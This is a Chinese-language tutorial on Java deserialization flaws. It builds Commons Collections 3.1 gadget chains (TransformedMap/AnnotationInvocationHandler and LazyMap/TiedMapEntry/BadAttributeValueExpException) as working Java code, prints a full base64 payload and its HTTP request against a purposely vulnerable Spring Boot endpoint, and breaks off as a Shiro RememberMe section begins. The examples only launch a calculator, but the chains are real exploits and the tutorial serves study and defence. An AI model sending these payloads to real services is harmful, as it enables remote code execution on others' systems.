以下文件为用到的所有源码:
java反序列化初探_源码.zip.doc
java反序列化漏洞
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。而在将近10个月前, Gabriel Lawrence 和Chris Frohoff 就已经在AppSecCali上的一个报告里提到了这个漏洞利用思路。
Apache Commons Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
序列化是什么
序列化是指将数据结构或对象状态转换成可取用格式,以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。
序列化:将数据结构或对象转换为二进制字节流保存在内存、文件、数据库中,或通过网络传输。
反序列化:将保存在内存、文件、数据库中,或通过网络传输接收到的二进制字节流转换为数据结构或对象。


Java中的反序列化
Java 自身提供了序列化的功能,需要实现 **java.io.Serializable** 接口,标明该对象是可序列化的。 **java.io.Serializable** 是一个空接口,不需要对象实现方法。
- 所有需要网络传输的对象都需要实现序列化接口,通过建议所有的javaBean都实现Serializable接口。
- 对象的类名、实例变量(包括基本类型,数组,对其他对象的引用)都会被序列化;方法、类变量、transient实例变量都不会被序列化。
- 如果想让某个变量不被序列化,使用transient修饰。
- 序列化对象的引用类型成员变量,也必须是可序列化的,否则,会报错。
- 反序列化时必须有序列化对象的class文件。
- 当通过文件、网络来读取序列化后的对象时,必须按照实际写入的顺序读取。
- 单例类序列化,需要重写readResolve()方法;否则会破坏单例原则。
- 同一对象序列化多次,只有第一次序列化为二进制流,以后都只是保存序列化编号,不会重复序列化。
- 建议所有可序列化的类加上serialVersionUID 版本号,方便项目升级。
以下面这段代码为例,展示了一个对象的序列化和反序列化的过程。
Demo1.java
package org.hai;import java.io.*;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Demo1 {public static class Command implements Serializable {private String cmd;public String getCmd() {return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}}// 程序A 执行序列化操作public static void main(String[] args) {// 创建一个 Command 对象Command command = new Command();command.setCmd("calc");System.out.println("序列化前: " + command.getCmd());// 将 Command对象 序列化为字节数组ByteArrayOutputStream buffer = new ByteArrayOutputStream();try {ObjectOutputStream objectOutputStream = new ObjectOutputStream(buffer);objectOutputStream.writeObject(command);} catch (Exception e) {e.printStackTrace();}// 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化String commandBase64Str = Base64.getEncoder().encodeToString(buffer.toByteArray());System.out.println("序列化+Base64编码: " + commandBase64Str);}// 程序B 执行反序列化操作public static void main2(String[] args) {String commandBase64Str = "rO0ABXNyABVvcmcuaGFpLkRlbW8xJENvbW1hbmQC4flwMAB8mQIAAUwAA2NtZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAEY2FsYw==";System.out.println("序列化+Base64编码: " + commandBase64Str);// 将 base64编码的数据 解码为字节数组byte[] bytes = Base64.getDecoder().decode(commandBase64Str.getBytes(StandardCharsets.UTF_8));// 将 字节数组 反序列化为对象ByteArrayInputStream b = new ByteArrayInputStream(bytes);try {ObjectInputStream objectInputStream = new ObjectInputStream(b);Command comm = (Command) objectInputStream.readObject();System.out.println("反序列化: " + comm.getCmd());} catch (Exception e) {e.printStackTrace();}}}
查看代码可以看出我们并没有指定如何进行序列化和反序列化,是Java自动帮助我们实现的,通过在对象中增加 **writeObject** **readObject** 两个私有方法就可以实现自己操作序列化和反序列化。
反序列化漏洞的成因
**java.io.Serializable** 是一个空接口,没有需要实现的方法,要怎么自定义自己的序列化和反序列化方式呢?,找到 **final User obj = (User) input.readObject();** 这行代码,点击跳转源码,发现实际上是调用了 **Object obj = readObject0(false);**,进入 **readObject0** 的实现中发现原来当目标是对象的时候会调用 **readOrdinaryObject**,他接着看了下去,发现只实现 **java.io.Serializable** 的对象会调用 **readSerialData(obj, desc);** 这行代码,而 **readSerialData** 方法中又会调用 **slotDesc.invokeReadObject(obj, this);**,最终是是调用了 **readObjectMethod.invoke(obj, new Object[]{ in });** ,但**readObjectMethod**又是从哪里来的呢?他查看了一下引用,原来是 **ObjectStreamClass** 的构建函数里面初始化的。
private ObjectStreamClass(final Class<?> cl) {...if (externalizable) {cons = getExternalizableConstructor(cl);} else {cons = getSerializableConstructor(cl);writeObjectMethod = getPrivateMethod(cl, "writeObject",new Class<?>[] { ObjectOutputStream.class },Void.TYPE);readObjectMethod = getPrivateMethod(cl, "readObject",new Class<?>[] { ObjectInputStream.class },Void.TYPE);readObjectNoDataMethod = getPrivateMethod(cl, "readObjectNoData", null, Void.TYPE);hasWriteObjectData = (writeObjectMethod != null);}domains = getProtectionDomains(cons, cl);...}
通过查看源码发现只需要在对象中增加一个名为 readObject参数是 java.io.ObjectInputStream 的私有方法就行了。
Demo2.java
package org.hai;import java.io.*;import java.nio.charset.StandardCharsets;import java.util.Base64;public class Demo2 {public static class Command implements Serializable {private String cmd;public String getCmd() {return cmd;}public void setCmd(String cmd) {this.cmd = cmd;}// readObject 私有方法会在反序列化的时候被系统调用private void readObject(java.io.ObjectInputStream is) throws IOException, ClassNotFoundException {// 执行默认的readObject方法is.defaultReadObject();// 执行命令Runtime.getRuntime().exec(this.getCmd());}}// 程序A 执行序列化操作public static void main(String[] args) {// 创建一个 Command 对象Command command = new Command();command.setCmd("calc");System.out.println("序列化前: " + command.getCmd());// 将 Command对象 序列化为字节数组ByteArrayOutputStream buffer = new ByteArrayOutputStream();try {ObjectOutputStream objectOutputStream = new ObjectOutputStream(buffer);objectOutputStream.writeObject(command);} catch (Exception e) {e.printStackTrace();}// 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化String commandBase64Str = Base64.getEncoder().encodeToString(buffer.toByteArray());System.out.println("序列化+Base64编码: " + commandBase64Str);}// 程序B 执行反序列化操作public static void main2(String[] args) {String commandBase64Str = "rO0ABXNyABVvcmcuaGFpLkRlbW8yJENvbW1hbmT+9Diqt0EvswIAAUwAA2NtZHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAEY2FsYw==";System.out.println("序列化+Base64编码: " + commandBase64Str);// 将 base64编码的数据 解码为字节数组byte[] bytes = Base64.getDecoder().decode(commandBase64Str.getBytes(StandardCharsets.UTF_8));// 将 字节数组 反序列化为对象ByteArrayInputStream b = new ByteArrayInputStream(bytes);try {ObjectInputStream objectInputStream = new ObjectInputStream(b);Command comm = (Command) objectInputStream.readObject();System.out.println("反序列化: " + comm.getCmd());} catch (Exception e) {e.printStackTrace();}}}
运行程序B后发现同时还弹出来了计算器。
Java 反序列化漏洞的产生原因就是在执行反序列化方法的时候执行了非法的命令,但真的会有程序员这样写代码吗?非要在反序列化方法里面加上执行命令的代码。
真实环境里面的反序列化漏洞是什么样子的?
以 commons-collections 3.1 版本为例,InvokerTransformer 本来是用来帮助开发人员进行类型转换的,但由于其功能过于灵活,被安全人员发现可以用来执行任意代码。
0x01
首先我们来看一段简单的代码,用 InvokerTransformer 来实现 Runtime.getRuntime().exec("calc")。
Demo3.java
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Demo3 {// Runtime.getRuntime().exec("calc");public static void main(String[] args) {// 使用 ConstantTransformer 将 Runtime.class 包装一层,等同于 Class<Runtime> runtimeClass = Runtime.class;Object runtimeClass = new ConstantTransformer(Runtime.class).transform(null);// 使用 InvokerTransformer 调用 runtimeClass 的 getMethod 方法,// 等同于 Method getRuntime = runtimeClass.getMethod("getRuntime", null);Object getRuntimeMethod = new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}).transform(runtimeClass);// 使用 InvokerTransformer 调用getRuntimeMethod 的 invoke 方法,// 等同于 Object runtime = getRuntime.invoke(null, null);Object runtime = new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}).transform(getRuntimeMethod);// 使用 InvokerTransformer 调用 runtime 的 exec 方法,等同于 runtime.exec("calc")Object exec = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);}}
InvokerTransformer 构造方法有三个参数,分别为 方法名称、方法参数类型数组、方法参数数组,方法名称不用多说,其中第二个方法参数类型数组和第三个方法参数数组 的长度必须要相等。
InvokerTransformer 的 transform 方法就是将输入的对象按照构造方法传入的参数转换为另一个对象,没有任何限制,因此即使程序内部没有 Runtime.getRuntime().exec("calc") 这行代码,也通过InvokerTransformer来可实现调用。
0x02
尽管程序内部没有 Runtime.getRuntime().exec("calc") 这行代码,但是开发人员肯定也不会把上面那一大块代码写到程序里面,因此我们还需要另想办法。首先我们先把代码简化一下,修改为链式调用。
Demo3.java
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class Demo3 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};// 把 Transformer 使用链的方式调用,从上到下,不用再每次执行Transformer transformerChain = ChainedTransformer.getInstance(transformers);// 调用转换transformerChain.transform(null);}}
这样我们只需要调用一次 transform 就行了,但是想让目标系统执行我们的代码还是不可能的,因此还需要再寻求其他方式。
0x03
有安全人员发现,commons-collections 自己实现了 Map.Entry,并且在 setValue 的时候会先调用 TransformedMap 的 checkSetValue 方法,而这个方法又调用了我们传入的 valueTransformer 的 transform 方法,这样一套流程下来,当我们对经过 TransformedMap 转换出来的 Map 做 put 操作的时候,都会触发执行一次我们构造的任意指令。
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class Demo4 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};// 把 Transformer 使用链的方式调用,从上到下,不用再每次执行Transformer transformerChain = ChainedTransformer.getInstance(transformers);// 利用 TransformedMap 的漏洞来执行 transform 方法Map<String, String> innerMap = new HashMap<>();innerMap.put("name", "张三");// TransformedMap 继承自 AbstractInputCheckedMapDecorator,// Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntryMap<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value),// 而 checkSetValue 会调用 valueTransformer 的 transform 方法outerMap.put("name", "李四");}}
现在只差最后一步,需要找到一个类,用它创建一个对象并完成序列化,同时它还必须满足以下三个条件:
- 实现了
Serializable接口。 - 增加了
readObject方法。 - 成员变量中有
Map并且在readObject时对这个Map进行了put操作或操作了Map.Entry的setValue方法。
安全人员在审查 openjdk 源码时发现了 sun.reflect.annotation.AnnotationInvocationHandler类符合这个条件,只需用这个类创建一个对象,再将其序列化之后的内容发送到其他系统,即可完成漏洞利用。
其 readObject 方法如下
sun.reflect.annotation.AnnotationInvocationHandler.class
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; time to punch outthrow new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");}Map<String, Class<?>> memberTypes = annotationType.memberTypes();Map<String, Class<?>> memberTypes = annotationType.memberTypes();// If there are annotation members without values, that// situation is handled by the invoke method.for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {// debug 发现这个 name 是一个固定值 "value"String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name); // 根据键"value"获取值java.lang.annotation.RetentionPolicy类对象if (memberType != null) { // 此处如果获取到RetentionPolicy类对象就进入下面代码Object value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {// 下面这行代码会触发 valueTransformer的transform方法memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}}
通过 debug 发现 Map 中的 key 为固定值 "value" ,因此我们需要将 Map 中的 key 修改为字符串 "value",下面我们生成一个 payload。
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Demo5 {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};// 把 Transformer 使用链的方式调用,从上到下,不用再每次执行Transformer transformerChain = ChainedTransformer.getInstance(transformers);// 利用 TransformedMap 的漏洞来执行 transform 方法Map<String, String> innerMap = new HashMap<>();innerMap.put("value", "张三");// TransformedMap 继承自 AbstractInputCheckedMapDecorator,// Map 中的 元素会被转换为 AbstractInputCheckedMapDecorator.MapEntryMap<String, String> outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// AbstractInputCheckedMapDecorator.MapEntry 在 setValue 时会先调用 parent.checkSetValue(value),// 而 checkSetValue 会调用 valueTransformer 的 transform 方法// outerMap.put("name", "李四");try {// AnnotationInvocationHandler 不是 public 类型的类,且没有公开的构造器方法,只能通过反射创建Class<?> cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");// 获取构造方法Constructor<?> constructor = cls.getDeclaredConstructor(Class.class, Map.class);// 因为其构造方法不是 publicconstructor.setAccessible(true);// 实例化对象Object target = constructor.newInstance(Retention.class, outerMap);// 将对象序列化为字节数组ByteArrayOutputStream buffer = new ByteArrayOutputStream();ObjectOutputStream outputStream = new ObjectOutputStream(buffer);outputStream.writeObject(target);// 将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化final String data = Base64.getEncoder().encodeToString(buffer.toByteArray());System.out.println("payload: " + data);} catch (Exception e) {e.printStackTrace();}}}
使用 maven 创建一个 springboot 项目来模拟目标环境,添加 commons-collections 3.1 的依赖,并增加一个http接口如下:
SpringbootDemo1Application.java
package com.hai.springbootDemo1;import org.springframework.boot.SpringApplication;import org.springframework.boot.autoconfigure.SpringBootApplication;import org.springframework.web.bind.annotation.PostMapping;import org.springframework.web.bind.annotation.RestController;import javax.servlet.ServletInputStream;import javax.servlet.http.HttpServletRequest;import java.io.BufferedReader;import java.io.ByteArrayInputStream;import java.io.InputStreamReader;import java.io.ObjectInputStream;import java.nio.charset.StandardCharsets;import java.util.Base64;@RestController@SpringBootApplicationpublic class SpringbootDemo1Application {public static void main(String[] args) {SpringApplication.run(SpringbootDemo1Application.class, args);}@PostMapping("/index")public String index(HttpServletRequest request) throws Exception {ServletInputStream inputStream = request.getInputStream();final StringBuilder sb = new StringBuilder();try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {char[] charBuffer = new char[1024];int bytesRead;while ((bytesRead = bufferedReader.read(charBuffer)) > 0) {sb.append(charBuffer, 0, bytesRead);}}// 读取 request body 中的字符串final String requestBody = sb.toString();// 使用 base64 解码final byte[] bytes = Base64.getDecoder().decode(requestBody.getBytes(StandardCharsets.UTF_8));// 将字节数组反序列化为对象ByteArrayInputStream b = new ByteArrayInputStream(bytes);try (ObjectInputStream input = new ObjectInputStream(b)) {Object obj = input.readObject();System.out.println(obj);}return "success";}}
使用burp发包,发现弹出计算器。
POST /index HTTP/1.1HOST: 127.0.0.1:8080Content-Length: 2414rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAMXQADW9yZy5oYWkuRGVtbzZ0AApEZW1vNi5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXEAfgABTAADbWFwdAAPTGphdmEvdXRpbC9NYXA7eHB0AAblvKDkuIlzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAARzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgABeHB2cgARamF2YS5sYW5nLlJ1bnRpbWUAAAAAAAAAAAAAAHhwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnZva2VyVHJhbnNmb3JtZXKH6P9re3zOOAIAA1sABWlBcmdzdAATW0xqYXZhL2xhbmcvT2JqZWN0O0wAC2lNZXRob2ROYW1lcQB+AAVbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAAJZ2V0TWV0aG9kdXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAuc3EAfgAmdXEAfgAqAAAAAnBwdAAGaW52b2tldXEAfgAuAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AKnNxAH4AJnVxAH4AKgAAAAF0AARjYWxjdAAEZXhlY3VxAH4ALgAAAAFxAH4AMXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHg=
在新版本的jdk中这个漏洞已经被修复了,在setValue时,已无法再调用transform方法。
for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {String name = memberValue.getKey();Object value = null;Class<?> memberType = memberTypes.get(name);if (memberType != null) {value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {value = new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name));}}mv.put(name, value);}// 新增了不安全setValue验证UnsafeAccessor.setType(this, t);UnsafeAccessor.setMemberValues(this, mv);
有漏洞的jdk只局限于以下这几个版本
- openjdk 8 https://hg.openjdk.java.net/jdk8/jdk8/jdk/file/687fd7c7986d/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
- openjdk 8u20 https://hg.openjdk.java.net/jdk8u/jdk8u20/jdk/file/f5d77a430a29/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
- openjdk 8u40 https://hg.openjdk.java.net/jdk8u/jdk8u40/jdk/file/c7bbaa04eaa8/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
- openjdk 8u41 https://hg.openjdk.java.net/jdk8u/jdk8u41/jdk/file/4f0378ee824a/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
- openjdk 8u60 https://hg.openjdk.java.net/jdk8u/jdk8u60/jdk/file/935758609767/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
新的调用链
经过安全人员的审计,另一个类 javax.management.BadAttributeValueExpException 出现在了安全人员的视野。
javax.management.BadAttributeValueExpException 继承自 java.lang.Exception,java.lang.Exception 继承自 java.lang.Throwable,而 java.lang.Throwable 实现了 java.io.Serializable。因此 javax.management.BadAttributeValueExpException 符合了 可序列化 这个要求,同样的它也增加了 readObject 方法,这个类的完整代码如下:
package javax.management;import java.io.IOException;import java.io.ObjectInputStream;/*** Thrown when an invalid MBean attribute is passed to a query* constructing method. This exception is used internally by JMX* during the evaluation of a query. User code does not usually* see it.** @since 1.5*/public class BadAttributeValueExpException extends Exception {/* Serial version */private static final long serialVersionUID = -3105272988410493376L;/*** @serial A string representation of the attribute that originated this exception.* for example, the string value can be the return of {@code attribute.toString()}*/private Object val;/*** Constructs a BadAttributeValueExpException using the specified Object to* create the toString() value.** @param val the inappropriate value.*/public BadAttributeValueExpException (Object val) {this.val = val == null ? null : val.toString();}/*** Returns the string representing the object.*/public String toString() {return "BadAttributeValueException: " + val;}private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {// 从已经序列化成字节数组的信息找获取 序列化前的类 的全部成员变量ObjectInputStream.GetField gf = ois.readFields();// 获取名词为 val 的成员变量,如果获取不到就返回 nullObject valObj = gf.get("val", null);if (valObj == null) {val = null;} else if (valObj instanceof String) {val= valObj;} else if (System.getSecurityManager() == null|| valObj instanceof Long|| valObj instanceof Integer|| valObj instanceof Float|| valObj instanceof Double|| valObj instanceof Byte|| valObj instanceof Short|| valObj instanceof Boolean) {val = valObj.toString();} else { // the serialized object is from a version without JDK-8019292 fixval = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();}}}
首先我们来看这个方法的第一行代码 ObjectInputStream.GetField gf = ois.readFields();,它的意思是从已经序列化成字节数组的信息找获取 序列化前的类 的全部成员变量。
第二行代码 Object valObj = gf.get("val", null); 的意思是获取名词为 val 的成员变量,如果获取不到就返回 null。
接下来前两个的 if 判断很简单,就不解释了。
第三个 if 判断中只要 System.getSecurityManager() 是空值或者 valObj 是基本数据包装类型就调用 toString() 方法转换为字符串。
问题就出在这个 **toString()** 上。
0x01
安全人员在审查 commons-collections 3.1 的源码时发现 org.apache.commons.collections.keyvalue.TiedMapEntry 的 toString() 方法如下:
public String toString() {return getKey() + "=" + getValue();}
getKey() 和 getValue() 代码如下:
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {/** Serialization version */private static final long serialVersionUID = -8453869361373831205L;/** The map underlying the entry/iterator */private final Map map;/** The key */private final Object key;/*** Constructs a new entry with the given Map and key.** @param map the map* @param key the key*/public TiedMapEntry(Map map, Object key) {super();this.map = map;this.key = key;}// Map.Entry interface//-------------------------------------------------------------------------/*** Gets the key of this entry** @return the key*/public Object getKey() {return key;}/*** Gets the value of this entry direct from the map.** @return the value*/public Object getValue() {return map.get(key);}...}
getKey() 直接返回了字符串,不用考虑了。
getValue() 是从构造方法传入的 map 中根据 传入的key 获取值。那么有没有一个 Map 的 get 方法可以调用 org.apache.commons.collections.Transformer 的 transform 方法呢?答案是有的,而且它还是 commons-collections 3.1 中的一个类。
0x02
org.apache.commons.collections.map.LazyMap 顾名思义是一个懒加载的 Map,它继承自 AbstractMapDecorator,并且实现了 Map 和 Serializable接口。 它的构造方法有两个参数,一个是 java.util.Map,一个是org.apache.commons.collections.Transformer。它重写了Map的 get 方法,先判断构造方法传入的 map 中是否包含 key,不包含时会调用 transformer 的 transform 的方法进行转换,并进行后续的赋值和返回,代码如下:
public Object get(Object key) {// create value for key if key is not currently in the mapif (map.containsKey(key) == false) {Object value = factory.transform(key);map.put(key, value);return value;}return map.get(key);}
我们来实际测试一下。
为简化代码,我们把序列化和反序列化代码做成工具类使用。
package org.hai;import java.io.*;public class Utils {/*** 将对象序列化为字节数组** @param obj 对象* @return 字节数组* @throws IOException IO异常*/public static byte[] serialize(final Object obj) throws IOException {final ByteArrayOutputStream out = new ByteArrayOutputStream();try (ObjectOutputStream objOut = new ObjectOutputStream(out)) {objOut.writeObject(obj);objOut.flush();}return out.toByteArray();}/*** 将字节数组序列化对象** @param bytes 字节数组* @return 对象* @throws IOException IO异常* @throws ClassNotFoundException 类找不到异常*/public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {try (ObjectInputStream input = new ObjectInputStream(new ByteArrayInputStream(bytes))) {return input.readObject();}}}
修改之前的测试代码。
package org.hai;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Demo6 {public static void main1(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", null}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};// 把 Transformer 使用链的方式调用,从上到下,不用再每次执行Transformer transformerChain = ChainedTransformer.getInstance(transformers);// 在调用 get 方法时传入一个不存在的 key 时会调用 Transformer 的 transform 方法Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);// 在调用 toString 方法时会自动调用 getValue 方法并使用 构造方法传入的 key 当作 keyTiedMapEntry entry = new TiedMapEntry(lazyMap, "张三");// 创建BadAttributeValueExpException对象,类型是 public 的,无需使用反射创建BadAttributeValueExpException obj = new BadAttributeValueExpException(null);// 成员 val 没有setVal 方法,只能通过反射修改Field valField = obj.getClass().getDeclaredField("val");valField.setAccessible(true);valField.set(obj, entry);// 将用户序列化为字节数组,将字节数组进行base64编码,无论是通过网络或者是文件都可以发送到另一个系统进行反序列化final String data = Base64.getEncoder().encodeToString(Utils.serialize(obj));System.out.println("序列化后:" + data);// 将base64编码的数据再解码为字节数组final Object o = Utils.deserialize(Base64.getDecoder().decode(data.getBytes(StandardCharsets.UTF_8)));System.out.println("反序列化:" + o);}}
在最新版 jdk 1.8.0_301 上测试通过,弹出了计算器。
Shiro反序列化验证
shiro 的 RememberMe 功能就是利用了 Java 的反序列化来实现的,不过它并不是直接将对象序列化成数组后简单使用 base64 编码就写入到 Cookie 中,而是将对象字节数组进行了一次 AES 加密,最后才 base64 编码写入到 Cookie 中。
以最新版 shiro 1.8.0 为例, org.apache.shiro.mgt.AbstractRememberMeManager 的 onSuccessfulLogin 方法中,当打开 RememberMe 后会调用 rememberIdentity 方法。
